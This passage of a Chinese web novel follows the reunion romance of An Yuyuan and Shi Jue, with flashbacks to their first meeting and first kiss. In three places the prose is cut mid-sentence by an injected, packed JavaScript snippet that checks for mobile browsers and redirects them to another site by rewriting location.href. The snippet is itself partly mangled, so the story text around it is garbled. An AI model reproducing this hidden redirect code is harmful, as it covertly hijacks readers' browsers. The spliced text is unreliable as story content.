“那可不,”郑秋雨又说:“那不得看看我是谁一手带出来的。” 两人相视一笑。 郑秋雨晚上约了A市的朋友,安遇圆没有安排其他,把安遇圆送到酒店之后,郑秋雨就拿上伞玩去了。 虽然两个人平时话不多,但郑秋雨这么一离开,安遇圆感觉世界好安静。 她踩着沉重的步伐回到房间,香香地把一身疲惫洗掉,又精神起来了。 好好弄了一下头发,再精心挑选一件漂亮吊带睡衣,给脚踝喷上微乎其微的香水,再把下午叫来的红酒拆了。 站在落地窗前,一杯高脚杯在手里,安遇圆晃了晃手中的杯子,俯瞰城市夜景,变幻莫测,虚虚实实。 是的,她就是这么装。 第一杯结束,她看了眼腕上的表,已经快九点。 她突然想起前段时间网上流行的一句话,什么什么什么,如同在机场等一艘船。 于是安遇圆又倒了一杯。 “叮咚……” 就在鲜艳的红色沿着透明玻璃下滑时,门口传来了门铃的声音。 安遇圆手一抖,差点把酒洒了。 不过她还是轻重缓急地先把酒倒好,擦擦瓶口,再不疾不徐地走到门口。 门铃只响一声,离此刻安遇圆到达门边,已经过去快一分钟。 “谁啊?”安遇圆问。 “我。” 隔着门,是熟悉的声音,不轻不重,正好能让安遇圆听到。 安遇圆拧了拧下巴,又看了眼手表,发现自己此刻心跳有点快。 她放松地轻吐一口气,把门打开。 施觉和门隔了一些距离单手插兜站着,和早上不一样的是她把头发挽了起来,衬衫扣子多解了一颗,领子上多了一条深浅灰蓝相间的丝巾,还戴了眼镜,项链,耳钉,戒指。 施觉有不用任何处理就很完美的头发,正好的直带一点弯,不管是额头,颅顶,发髻,还是刘海,每根发丝都朝着想要的曲线生长。 正如此刻,就如此刻,施觉没有任何表情,可她只是这么站着,就很迷人。 说不清的迷人让安遇圆能感觉自己的心跳更快了,太阳穴往上的半颗脑袋,都突突作响,加上底层的紧张情绪,脑袋像是要炸了。 时间好像推翻了这几天的相处,久别重逢在这一刻突然具体了起来,此刻只有她们。 只是开了门的安遇圆没有说话。 敲了门的施觉也没有说话。 两人就这么看着彼此。 酒店门有自动关闭的系统,安遇圆开了一半之后没有继续操作,门缓缓关上。 眼看缝隙就要消失,安遇圆终于见眼前的人往前迈了一步,将手抵在了门上。 推开。 “为什么找我合作?” 说是来要衣服的施总,开口却是这一句。 安遇圆说:“是小雨找的。” 施觉听后拧了拧眉,像在疑惑,也像在思考。 安遇圆有点受不住施觉好像要看穿她的眼神,只好闪躲,只好又说:“我不想你问。” 生气了,安遇圆转头就走。 身后传来门被推开的声音,但两人的脚步声均被地毯给稀释,安遇圆只能通过空气里微弱的摩擦声,判断施觉大概离她一米。 “喝什么?”听到门被关上,安遇圆问。 施觉问:“有什么喝的?” 安遇圆说:“酒,酒,还有酒。” 施觉似是笑了声:“有得选吗?” 安遇圆:“你可以选择不喝。” 施觉:“那你会生气吗?” 安遇圆停下脚步,转头看了施觉。 施觉双手抬起作投降状,好像在为刚才的话语表示抱歉。 安遇圆撇了撇嘴,继续往前走:“你还怕我生气啊。” 施觉没有回答这个问题,而是说:“我开车来的。” 安遇圆无所谓地哦了声:“随便你。” 她似乎听到施觉很轻地叹了一声:“什么酒?” 安遇圆嘴边勾起一个转瞬即逝的笑,稍稍大声些:“开车不喝酒,喝酒不开车。” 施觉没有任何解释,也没接任何话,她十分不客气地走到桌边,将椅子拉开,坐下。 空杯子就在她们身后的架子上,但安遇圆没有去拿,而是把自己面前的那杯转了转,推到施觉面前。 明显是用过的,杯壁上还有一抹很鲜艳的口红。 “味道还不错,”安遇圆也坐下,好似不知道自己干了什么:“你试试。” 施觉说:“好。” 其实安遇圆转杯子时,留有余地的,并没有把她的浅色唇膏正正对准施觉,但施觉拿起杯子时,已经不是刚才的方向了。 施觉的唇就这么不偏不倚地正好印上安遇圆的唇膏,安遇圆的心脏麻麻的。 几乎是一口气,施觉把酒全喝了,喝完后她也仿佛刚才什么都没有发生过,把杯子放下,并说:“我还没吃晚饭。” 安遇圆很轻地扬了扬眉:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485078|201964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚下班吗?” 施觉:“嗯。” 安遇圆:“下班就过来了?” 施觉还是:“嗯。” “施总很忙嘛,”桌上正好就有酒店的菜单,安遇圆说完这话抽出黑色的卡片晃了晃:“简单吃点?” 施觉却说:“我叫了餐。” 安遇圆十分疑惑:“叫到这?” 施觉也知道这很好笑,没忍住笑了声:“嗯。” 倒也快,就在这时,电话响了,施觉的餐被酒店的机器人送了上来。 安遇圆:“……?” 接下来的二十分钟酒非常诡异,施觉叫的是一碗粉,热腾腾的很香,施觉问安遇圆要不要吃点,被安遇圆拒绝后,施觉开始独自慢慢享用了。 这家店包装很精致,碗筷也漂亮,默默无声中,施觉放她觉得合适的醋的量,加她喜欢的辣椒酱。 真当自己家了。 安遇圆还没把这儿当家呢。 一碗结束,施觉仔细地收拾了桌子,并对安遇圆说:“我妈知道你过来了。” 安遇圆发出一声小惊讶的“哦?”她想了想:“是我妈告诉她的吗?” 施觉嗯了声,就问:“去年毕业的吧?” 安遇圆很难忍住,她笑了声。 这算是她们传统意义上第一次叙旧吧。 是啊,叙旧就得有叙旧的样子,施觉最会这样了,装作一副我们从前只是普通朋友的样子,轻描淡写地询问过去。 安遇圆当然配合:“是啊,”谁还不会了:“现在还是应届毕业生呢。” 施觉问:“要考公啊?” 安遇圆:“不好笑。” 不好笑施觉也笑了,接着更是当自己家的,把桌上的酒倒进自己的杯子里。 还问安遇圆:“你的杯子呢?” 安遇圆把施觉面前的杯子拿了回来,把施觉刚刚倒的酒一饮。 “慢点。”施觉道。 安遇圆停下说了句“我就快点”,说完她更猛地把剩下一点倒进嘴里,而尽。 太猛了,小部分酒水溢出,挂在嘴角,安遇圆本下意识想去拿抽纸,但结果是她伸出舌头,把嘴角的那部分舔了回来。 施觉全看见了。 “我去给你拿杯子。”安遇圆突然的心情很好。 杯子就在旁边,安遇圆去拿了杯,回来时她故意从施觉身后绕到她桌前,将杯子放在施觉面前。 同时安遇圆拿起桌上的酒瓶,坐在桌上,单手撑着桌边,给施觉倒酒。 “听人说A市的酒很有名,”安遇圆歪着脑袋说:“我倒是没喝出来什么不一样。” “就是酒,”施觉问安遇圆:“常喝酒吗?” 安遇圆才不会告诉施觉,她反问:“你平常喝酒吗?” “不怎么喝,”不知道施觉是默认了什么,又问:“现在酒量怎么样?” 安遇圆摆出一副你别小看我的表情,轻发一声:“哼。” 其实安遇圆又菜又爱玩。 别看她这会儿游刃有余的,实则脑袋已经有点晕乎乎了,刚才那一口灌得还有点猛,这会儿给施觉倒完酒,她明显感觉自己脖子热了起来。 今天一时兴起买酒,也只是为了装。 所以也突然一下子没稳住,在抬起瓶口时腿抖了一下。 没抖到别的什么地方,很正好的,脚勾到了施觉的小腿。 就这一下,她看到施觉拿酒杯的手似乎顿了一下。 而下一秒,施觉的小腿又被勾了一下。 只有第一次,安遇圆是无意的。 好玩,安遇圆露出满意的笑脸,把酒瓶好好放在桌上,从桌上跳下来。 只是脚才落地,她感觉腰间一紧,整个人被拽得倒向一边。 倒在施觉的腿上,倒进施觉的怀里。 “啊……”安遇圆发出惊呼。 血液本就已经被酒精攻击,突然又来的这一下,安遇圆热气上涌,呼吸倏然变得重。 她抬起头,看到施觉薄镜片后的眼睛。 安遇圆的第一次喝酒,就是在施觉的监督下发生,不过那时的安遇圆比现在还菜,一小杯三度的酒,就让她胡言乱语,脚步飘飘,神志不清,困到不行,床上躺着。 现在安遇圆不会这样了,她此刻脑子很清晰。 清晰得看到到施觉眼睛里的湿度,清晰得能感觉到放在她后腰上的手。 安遇圆尾椎骨突然被轻轻刮了一下,安遇圆身体抖了抖,想稳住自己地抓住施觉的衣领。 “什么意思?”安遇圆问施觉。 安遇圆的语气轻佻又挑衅。 施觉很缓慢地眨眼睛,也从鼻腔里吸进长气,而后叹出来。 再次睁眼,施觉眼里有千万情绪,她先看了看安遇圆的唇,再抬眸对上安遇圆的眼睛:“接吻么?” 5. 第 5 章 曾经在一个很深的夜晚,安遇圆对施觉说:“第一次见面,我有点不喜欢你。” 施觉问:“真的吗?” 第一次见面,是安遇圆的高三暑假,安遇圆正因为她妈妈不能和她一起去博物馆在家里大哭大闹。 这事现在想来她还是很不高兴,明明高考前就已经答应的,并且安遇圆因为和妈妈说好了一起去,所以拒绝了自己好朋友的邀约,导致朋友们都去过了,最后博物馆都快闭馆了,妈妈竟然一句没空,就不去了,就让安遇圆自己安排着去! 安遇圆真的会气死,在家里和妈妈据理力争,却又伴随着不争气的眼泪疯狂直流。 于是更气了,开始诉说从小到大,妈妈骂她,漠视她,爽约她的种种事! 坏妈妈!臭妈妈!讨厌妈妈! 所以那天施觉和施萱玉姨姨来家里时,安遇圆正直挺挺地躺在沙发上抽抽地哭泣,沉浸在妈妈一点也不爱我的悲伤氛围中,无法自拔。 妈妈叫她起来,家里来客人了,她踢了空气两下,躺得更直了。 和施觉的第一次碰面就是这样的情况下发生的,施觉从沙发靠背的盲区后出现,和满脸泪水的安遇圆对上视线。 没说啊!还来一个这么漂亮的姐姐。 安遇圆羞耻感大爆发,彼时她完全脆弱,刘海糊一脸不说,衣服也乱糟糟的。 苍天啊! 她直接把这个姨姨和这个姐姐都当成是和妈妈一伙的。 不过后来是施觉哄她的,是施觉陪她去博物馆的,回来还给她买了蛋糕和糖葫芦,但是安遇圆说,即使你这样,我也不会原谅孙嘉宁女士。 施觉那时笑着问她:“你觉得我是你妈妈派来的?” 安遇圆问:“不然呢?” 不然谁在见面的第二天根本就不熟的情况下,就把人哄得高兴得不得了。 当时的施觉也点着头说:“是。” 孙嘉宁和萱玉姨姨是小时候的特别要好玩伴,都是B市人,只是后来孙嘉宁去北方做生意,认识了一个同样有生意头脑的帅哥,也就是安遇圆的爸爸,两人一拍即合合作愉快陷入爱河缘定今生,孙嘉宁于是就定居在了S市。 算了,还是叫妈妈吧,孙嘉宁孙嘉宁的。 妈妈来了S市之后和萱玉姨姨的联系便逐渐变少,两人二十多年前参加了彼此的婚礼之后,再次见面,就是五年前。 妈妈婚后很幸福,但是萱玉姨姨的婚姻却不那么好,好在萱玉姨姨性格坚韧,感知痛苦就毅然决然地离婚,并拿到了施觉的抚养权,带施觉离开B市,来A市展开新生活。 妈妈当时对安遇圆说萱玉姨姨事迹的时候,安遇圆抓耳挠腮又连声叫好,最后佩服得五体投地,第二天给这对母女洗了满满一篮子的她最爱的超甜超大颗牛奶草莓。 而这对闺蜜,当初能成为很好的朋友,不是没有道理,即使这么多年鲜少联系,再次见面感觉一点也没变,来的当晚迅速升温,同床共枕,彻夜聊天,哈哈大笑。 那么五年前萱玉姨姨为什么突然带施觉千里迢迢来A市玩呢? 妈妈说,是因为施觉心情不好。 具体为什么心情不好,时至今日的安遇圆也不知道,但当时只经历过青春期的安遇圆,因为身边太多人谈恋爱了,她目光狭隘,把事情归咎为,施觉或许是失恋了。 安遇圆在施觉身上有太多猜测,猜测施觉为什么这么成熟懂事,猜测施觉为什么解决问题的能力这么强,猜测施觉为什么情绪这么稳定。 猜测施觉为什么每次见面都穿得好漂亮,猜测施觉到底有多少条项链,猜测施觉的每一枚戒指都哪里买的都这么好看,猜测施觉是不是每天都洗头啊不然为什么每天头发都这么干净丝滑。 猜测施觉为什么老会看着安遇圆笑,猜测为什么她好多次转头都能正好捕捉到施觉看她的眼神,猜测施觉为什么喜欢让她喊姐姐,猜测施觉为什么对她这么这么好。 也猜测施觉是女同。 彼时安遇圆还是概念上的超绝大直女,彼时施觉已经在S市待了九天了,第二天下午就要和萱玉姨姨飞回去了。 安遇圆非常非常舍不得,虽然才认识不到几天,安遇圆的心早就焊死在姐姐身上了,还说出了妈妈为什么不给她生一个姐姐这样的惊天语录。 所以她那天晚上非常勤快地把客房整理出来,非要要让施觉留宿一晚,明天她要亲自送施觉去机场。 只不过把施觉留下来也不知道要干什么,她们这几天虽然每天见面每天过得丰富多彩,但每天都是出门在外,玩各种好玩的东西,累了你回你酒店,我回我家。 两人第一次解锁一起在家的场景,有点无聊,即使客厅播放着可能好看的电视,但最后都玩起了手机。 也是这次的玩手机,安遇圆发现了施觉会看小说。 安遇圆本只是无意的突然一瞥,但施觉却把手机屏幕躲了过去。 这让安遇圆十分惊讶,明明姐姐是一个连支付密码都会告诉她的人,怎么的如此生分!不对劲。 所以这天晚上,安遇圆把脑子中瞥到施觉手机屏幕的小说几个角色的名字,输进了搜索栏。 不搜不知道,我了个苍苍大老天,是女同小说! 安遇圆来来回回确认了好多遍,才敢百分百确定,施觉姐姐晚上偷偷看的,就是两个女孩子谈恋爱的小说。 哇了个哇靠。 突然的这一下,好像有许多信息闪进安遇圆的脑子里。 但却又虚无飘渺,安遇圆不明白自己要抓住什么,所以到最后她什么都没有抓住。 也不知道为什么,安遇圆开始心跳加速,神经病一样的脸颊通红脑袋嗡嗡,手心脚掌发涨,热得要死。 后来逐渐冷静,安遇圆简单地往回思考了一下施觉最开始的那个问题。 所以,难道是和女孩子分手了?心情不好过来散散心? 这天的安遇圆有点憋不住,她当侦探当到凌晨两点才睡,又因为发现了这个好不得了的秘密第二天六点就醒了。 然后她爬上了施觉的床,钻进施觉的被窝,大动静把施觉吵醒后,问还睡眼惺忪的施觉:“姐姐,你是同性恋吗?” 夏天的六点天刚蒙蒙亮,客房的普通窗帘没能好好挡住光线,好大一部分都撒在床单上,空调丝丝作响。 施觉半阖的双眼,因为安遇圆这句话倏然睁大,她好像没听清似的,反问:“什么?” 安遇圆不介意再问一次:“你是同性恋吗?” 施觉或许是有些惊讶的,但安遇圆的印象里,施觉仍旧她从容不迫的表情,她似乎在分析安遇圆的话是什么意思,接着眼神突然往下瞟了眼。 “你……”施觉抬手捂住了自己的眼睛,把被子往上拉了点,按在了两人中间,把安遇圆包住。 “嗯?”安遇圆迫切想要答案,不自禁又靠近了点。 施觉脑袋往后仰了些,躲开些。 而这一下,安遇圆被其他东西吸引了注意力:“姐姐,你耳朵怎么这么红?” 施觉似是很无奈地笑了,她捂着眼睛的手没有放下,只道:“我要掉下去了。” 安遇圆哦了声,往后退了些。 继续期待。 施觉显然被吵清醒了,她声音有点重地呼吸了好几声,才把手放下:“你想干什么?” 安遇圆说:“我想知道你是不是同性恋。” 施觉思考了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485079|201964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿:“为什么?” 安遇圆太想知道了,什么为什么的,她继续激动逼问:“我想知道,我想知道嘛。” 施觉的耳朵似乎越来越红,她像是坚定了某种决心,问安遇圆:“你是吗?” 安遇圆问:“是什么?” 施觉:“同性恋。” 安遇圆说:“我不是啊。” 施觉的沉默足足有五秒。 “我是问你,”安遇圆不让沉默继续,她真的特别想知道:“你是吗你是吗?”但很快她好像突然意识到了什么:“啊,是不是不能问啊?” 施觉无奈笑了,她又把被子拉上来些,压下的同时也把安遇圆稍稍推开点。 “为什么这么问?”施觉又问。 安遇圆不好意思地笑笑。 就在安遇圆不知道该不该说,说的话要怎么说时,施觉开口了:“找到我昨天看的小说了?” 安遇圆佩服施觉一下子就想到这个,她惊讶之余,眼睛也一下子弯下来:“嘿嘿。” 施觉更无奈的一声:“好吧,”她语气变得轻松:“看百合的就一定是女同吗?” 安遇圆又疑惑的表情:“百合是什么?” 施觉:“……” 安遇圆哦了声:“女生和女生谈恋爱的小说叫百合啊。” 施觉:“是的……” 安遇圆哇了声,再点头:“也是,说不定直女也看百合呢。” 不知道这话有什么好笑的,施觉像这几天很多次那样,看着安遇圆笑。 “干嘛啊,”安遇圆低声:“我不懂嘛。” 施觉说:“这个作者好多天才更新一章,昨天正好看到更新提醒,我就去看了眼。” 安遇圆哦了声:“那你是同性恋吗?” 施觉又很无奈地笑了声:“怎么这么好奇呢。” 安遇圆:“当然好奇啊,是的话,你就是我遇到的第一个同性恋。” 不知道是安遇圆求知欲太旺盛了,还是安遇圆缠人缠得人没办法,又或是施觉觉得这事没有瞒着的必要。 千呼万唤,施觉终于说:“我是。” 预料之中的回答,安遇圆拉了个长长音:“哦……!” 其实那天早上安遇圆的心跳也很快的,人也闷闷的,有许多热气不断从心口处传来,但她没有去分析自己为什么会这样,只觉得紧张是因为窥探到了姐姐的秘密。 原来姐姐喜欢女生啊。 好神奇哦! 得知结果的安遇圆很安心,直接就在施觉的床上美美补了眠,一觉到中午吃饭。 妈妈那天的中午饭很丰盛,吃饭中对姨姨说了好多次有空再过来玩,安遇圆于是完全忘记博物馆的事,和妈妈统一战线,你们有空了一定一定一定要再过来玩。 她太喜欢施觉姐姐了! 午饭结束,妈妈给了一点十分这个准确的时间,得从家里出发去机场。 所以饭后施觉就马上回到了她的客房,准备把昨天的睡衣收拾进行李箱。 而安遇圆给施觉准备了礼物。 等施觉把床整理好,睡衣叠好,安遇圆就“当当当当”地走到施觉身边,双手捧上。 “给我的?”施觉稍稍扬眉。 安遇圆很满意施觉惊喜的表情,她扬起下巴:“嗯,”说着她敲敲亲手包装的精美礼盒:“回A市再拆吧。” 施觉笑起来很漂亮:“谢谢。” 安遇圆扭了一下头:“就谢谢吗?” 施觉一下子就听明白了安遇圆的意思,她歪了一下身子,低头捕捉安遇圆扭开的眼睛:“想要什么?” 安遇圆其实没想好的,但是她当时说的是:“你亲我一下。” 6. 第 6 章 安遇圆做了一晚上的噩梦,梦里先是杀了人,而后被鬼追,又在山上遇到老虎,最后找不到厕所醒来。 也梦到施觉,梦到她们第二次见面的那个暑假,施觉在被窝里给她讲鬼故事。 安遇圆被吓得不轻,还好醒来外头已经艳阳高照,让安遇圆不那么恐惧。 施觉有段时间很喜欢给安遇圆讲鬼故事,加上安遇圆睡觉喜欢黑黑的环境,施觉一开口就是满满的氛围感,前几句就能将安遇圆吓得不轻。 但安遇圆这个人十分嘴硬,仗着身边有人,扬言她一点也不怕,不过如此。不过最终的结局,都是她需要在施觉怀里睡一刻不能离开。 现在是没人陪了,安遇圆心跳加速地在床上大口呼吸了好几秒,这个世界里的记忆回温,她才敢动动自己的手脚。 这一觉睡得很长,从昨天十点到此刻手机屏幕上显示的九点,安遇圆也顺便心情愉悦,因为她已经预感到今天的皮肤状态会很好,不像昨天要用比平常多倍的遮瑕才能盖掉黑眼圈。 她一拳打在床头枕上伸了个大懒腰,把手机上把郑秋雨半小时前问她醒了没的消息回了。 消息传过去五分钟后,郑秋雨拎着热腾腾的早餐进来了。 “圆圆这家扁肉好好吃,”郑秋雨小跑到餐桌,把碗放下:“快起来,一会儿凉了不好吃了。” 安遇圆还在看着天花板发呆呢:“你怎么一大早精神这么好。” 郑秋雨笑着说:“今天天气好好啊,昨天我还担心今天还下雨怎么办呢,天气预报也不稳定,但是你看外面!艳阳高照,今天一定能出片。” 说得好,安遇圆一下子就把被子踢开了。 一下子就刷完牙洗完脸坐在了餐桌前。 “好香。”安遇圆第一句说。 第二句:“我能改签吗?” 郑秋雨脑袋从手机里抬起来:“啊?” 安遇圆低下头吃汤圆:“才想起来我这边有个以前对我很好的姨姨,晚上想和她一起吃个饭。” 郑秋雨哦了声:“我们晚上十一点的飞机,”她估计了一下时间:“你们约的几点啊?” 安遇圆:“哈哈。” 问得好。 安遇圆于是翻到了微信里的萱玉姨姨,拨打语音电话。 安遇圆知道事出突然,连郑秋雨都吓了一跳:“就打啦?” 其实邀请安遇圆吃晚饭的另有其人,只不过某人昨天被安遇圆拒绝了。 “圆圆。”电话很快被接起,那头熟悉的声音传来。 安遇圆声音甜甜:“姨姨早。” 萱玉姨姨诶了声:“早啊,我听你妈妈说你来A市了。” 安遇圆:“是啊姨姨,来工作的,明天就要回去了。” 萱玉姨姨哦了声:“怎么不多玩几天,才来就走。” 安遇圆嘿嘿笑了声:“回去也有工作的,玩不了啦。” 萱玉姨姨:“这样啊,你妈妈说你最近忙得都瘦了好多,工作很辛苦吧。” “还可以啦,我自己要瘦的,”她直接进入正题:“姨姨晚上有空吗?我们一起吃个饭?好久没见了。” 那边有一小片刻的沉默,而后才道:“我今天不在家,”她声音有些抱歉:“哎呀,太不巧了。” 施萱玉说完这话,她对面坐着的人铛的一声把调料放回桌上。 安遇圆又说了几句客套和吉祥话,两人就把电话挂了,手机信号切段“咚”的一声,客厅瞬间安静。 “妈你现在谎话张嘴就来啊。”施觉也在吃扁肉,不同的是她的馄饨是妈妈亲手做的。 妈妈面色尴尬,但也嘴硬:“我说错了吗,晚上我来你这儿给你做饭呢。” 施觉又捞起一块扁肉:“那你为什么不直接告诉她。” 妈妈不知道该说什么,只啧了声。 施觉:“怕她来?” 施觉的语气很淡定,妈妈判断不出施觉的情绪,不过妈妈没回答这个问题,只是说了句:“她电话里可没提你。” 施觉点头嗯了声:“好的前任就当她是死了。” 妈妈抽出一双筷子敲施觉的脑袋:“说的什么话!”她双手合十朝天拜了两下:“阿弥陀佛小孩子乱说的哈。” 再瞪施觉一眼:“前任什么前任,”妈妈问:“你们谈过啊?” 施觉不置可否,说道:“挺忍心,就这么拒绝了来A市出差却还要抽空想见你的人,这么久没见,小女孩只是想和你吃顿饭而已。” 一句话戳中妈妈的心窝子,说了慌的妈妈本就有些心虚,这会儿更是心里不安。 但嘴上会说:“确实是时间不合适。” * 安遇圆还是把机票改签了,没多改签多少,从今晚的十一点,改签到明天下午一点。 郑秋雨不理解,但照办了,不耽误工作就行。 吃完早饭,安遇圆拉开窗帘化妆,顺便让郑秋雨把今天要拍的东西再顺一遍。 因为只安遇圆一个人出境,篇幅也不长,所以这次的剧本比较简单,剧本里的安遇圆前世是小狐仙,因为偷吃贪玩误了事,被贬下凡间,但又继续偷吃贪玩的故事。 不需要什么演技,基本就是展示美貌。 在涂口红时,安遇圆有几秒钟的走神。 施觉夸过她身体的许多地方,而最多的那处,就是她的嘴。 施觉说她的唇型很好看,说她有正正好不大不小的可爱唇珠,说她的唇线很美,说她笑起来很好看,说她没有表情嘴角也弯弯的,很勾人,说她的唇瓣弹弹粉粉的。 说她的嘴很好亲。 昨天安遇圆拒绝的不止是施觉今晚一起吃饭的邀请,还有她的那句“接吻么?” 安遇圆喜欢把唇色化成磨砂的质感,将边缘模糊。在口红色盖掉唇色的那个瞬间,安遇圆脑子里浮现了昨晚她将食指抵在施觉的唇上,将施觉推开的画面。 你看,又意气用事。 安遇圆将剩下的唇色全数覆盖。 哎……想亲嘴。 安遇圆再拿起另外一只口红。 不过五年前的那天她们亲了。 安遇圆还记得她提出让施觉亲自己一下时,施觉惊讶的样子,眼神中的不可置信,和双唇微微张起的疑惑:“啊?” 安遇圆觉得时间不多了,她不想再啊来啊去的浪费时间,不管是施觉听不懂还是什么,她先亲了。 施觉比她高一些,所以安遇圆即使走近了,还需要再仰仰头,歪脑袋,才能亲在施觉的脸颊上。 安遇圆其实很紧张的,更是慌张,她不知道施觉会怎么想,不知道自己能不能这么做。 但她抬起头,施觉已经不是刚才疑惑的表情,安遇圆首先没看懂,其次施觉亲上来了。 人生若只如初吻。 施觉亲的是安遇圆的嘴巴。 好软。 轻轻的一下,安遇圆断断续续回味了一整年。 “笑什么呢?”郑秋雨突然问。 安遇圆马上严肃:“我笑了吗?” 但很快又憋不住一下子笑起来。 郑秋雨也笑着看安遇圆:“怎么啦?” 安遇圆嘴巴鼓起,被动让自己不要再笑了,她沉下气来问郑秋雨:“你有对象吗?” 郑秋雨摇头:“我还没谈过呢。” 安遇圆哦了声,又问:“那你和别人亲亲过吗?” 郑秋雨疑惑了:“没谈恋爱怎么亲亲啊?” 安遇圆似笑非笑:“倒也是,”不过很快她又问:“没谈恋爱却亲了,你觉得这算什么?” 郑秋雨想了想:“算,唇友谊?” 安遇圆:“少上点网。” 郑秋雨笑了笑:“暧昧吗?” 安遇圆哦了声,又问:“那没谈恋爱却做了,你觉得这又算什么?” 郑秋雨惊讶地抬眼,支支吾吾地回了个:“炮,友?” 安遇圆拧眉:“你说话真难听。” 郑秋雨长长啊了一声,她虽然不懂这个,但她懂安遇圆。 那就:“倾城之恋?” 安遇圆拍手,十分欣赏:“要不要我再给你说说我是怎么在人群中找到你的故事。” 郑秋雨抬起手给安遇圆看手腕:“时间不早咯。” 安遇圆:“好嘞。” 今天她们的拍摄地点是A市的一处景区和几处户外,老天作美,天气和太阳一直都很好,从下午一点开始,一直到夕阳斜下。 大家都配合得很好,安遇圆惊人的表现力,几乎条条都是一遍过。 最后一条结束,安遇圆终于感觉到累了,她扶着郑秋雨的手,坐在了树林旁的一个石凳上。 喝水,并用余光扫三点钟方向的一个人影。 施觉是将近四点才来的,到了不做声,也不干事,就在旁边站着,把大家唬得都打起了十二分精神。 这会儿施觉和那边的负责人说着什么。 安遇圆继续喝水,喝着喝着,余光里那个人影动了。 转身了。 靠近了。 走过来了。 站身边了。 安遇圆把最后一口水喝下,一只手撑着石桌,拿起桌上的团扇,轻轻扇了两下。 “安小姐下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485080|201964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午好。”施觉说。 安遇圆继续扇:“下午好啊施总。” 施觉也对郑秋雨微微颔首,从口袋里拿出手机,划拉几下,递到安遇圆面前。 安遇圆低头看,上面是微信好友二维码。 安遇圆抬头,对上施觉的视线。 施觉微微笑,表情十分从容客气:“方便吗?” 现场大家都各自忙碌自己的事,但安遇圆知道,多得是人看向这边。 “这是什么啊?”安遇圆明知故问。 “微信,”施觉说:“加个好友。” 安遇圆哦了声,摸了一下自己的衣服。 本来是想再装一装的,郑秋雨把她手机递过来了,还用十分懂事的声音说:“在我这呢。” 安遇圆对郑秋雨微微笑,解锁扫码。 “嘀。” 视线里,被扫后的施觉手机屏幕滑进了一个界面,看起来不像是新加好友的样子,有很多聊天记录。 但是施觉很快把手机收回去了,安遇圆不太确定。 “好,”施觉将手机直接锁上,又问安遇圆:“一会儿去哪?” 安遇圆:“怎么了?” 施觉说:“我送你。” 那边扛道具的女孩子突然踉跄一下,差点摔倒,幸好被身边的人扶住。 安遇圆又摇了几下扇子:“吃饭吧,这个点,不就吃饭。” 施觉问:“想吃什么?” 安遇圆抬头看施觉,两人对视好一会儿,安遇圆才问:“我点菜吗?” 施觉点头:“嗯。” 侧后方的郑秋雨正在拼命玩手机。 安遇圆这会儿还真想不到要吃什么,索性她给自己保留惊喜:“都行吧,你安排。” 施觉说:“好。” 安遇圆转头看郑秋雨,可还没说话呢,郑秋雨马上道:“我可以自己安排,我和我朋友一起。” 安遇圆哦了声:“也行,”她又道:“晚上不要玩太晚回来。” 郑秋雨觉得好笑,她小声说:“你才是吧。” 回公司换下衣服和头发,出来天快黑了。 “新车吗?”刚上车,安遇圆就闻到了崭新的气味。 施觉嗯了声:“年前刚买。” 安遇圆哦了声:“好干净。” 施觉:“还没想好挂什么。” 安遇圆缓慢地眨了眨眼,缩进座椅里:“这样嘛。” 在她们的众多回忆里,有那么一小小段,是关于车饰的。 是某天中午她们刚才外面吃晚饭又不想那么早回家,索性就找了个事干,去4s店试驾。 仿佛马上就要买车,视觉刚起步安遇圆就开始发号施令,这里要挂什么,要什么香味的香水,这里贴这个。 也提要求:“副驾只能给我坐。” 她那时候的脑子有点毛病,对人与人相处的理解很极端,喜欢对施觉说许多诸如此类的要求,只能给我,只有我,不能给别人,你别这样,你别那样,我的我的我的。 施觉惯会哄人的,她都会说好。 “做视频多久了?”车进一个隧道,施觉问。 安遇圆稍稍计算:“快两年了吧,我大三就在做了。” 施觉点头:“你好厉害,做得很好。” 安遇圆嗯了声:“你呢?什么时候换的工作?” 施觉说:“很早就换了。” 安遇圆哦了声:“挺好。” 比起昨晚,此刻才颇有好久不见的味道。 隧道很短,呼啸的风从窗外吹过,路灯亮起,宣告着夜晚的降临。 “还得去接一个人。”又半个街道,施觉说。 安遇圆有些惊讶,不过没等她发问,施觉又说:“晚上她掌厨。” 安遇圆的心突然慌了一下:“你,女朋友?” 施觉瞬间笑出了声:“怎么可能……” 安遇圆当然马上就问:“你没女朋友吧?” 施觉嘴角似是有些勾起:“你很在意吗?” 安遇圆沉默半秒:“回答问题,再给我兜圈我一脚把你踢下去。” 施觉笑意更深了:“那很危险。” 安遇圆沉默地看着施觉。 “没有,”施觉语气有种奇怪的得意感:“没女朋友。” 安遇圆很用力地哼了声。 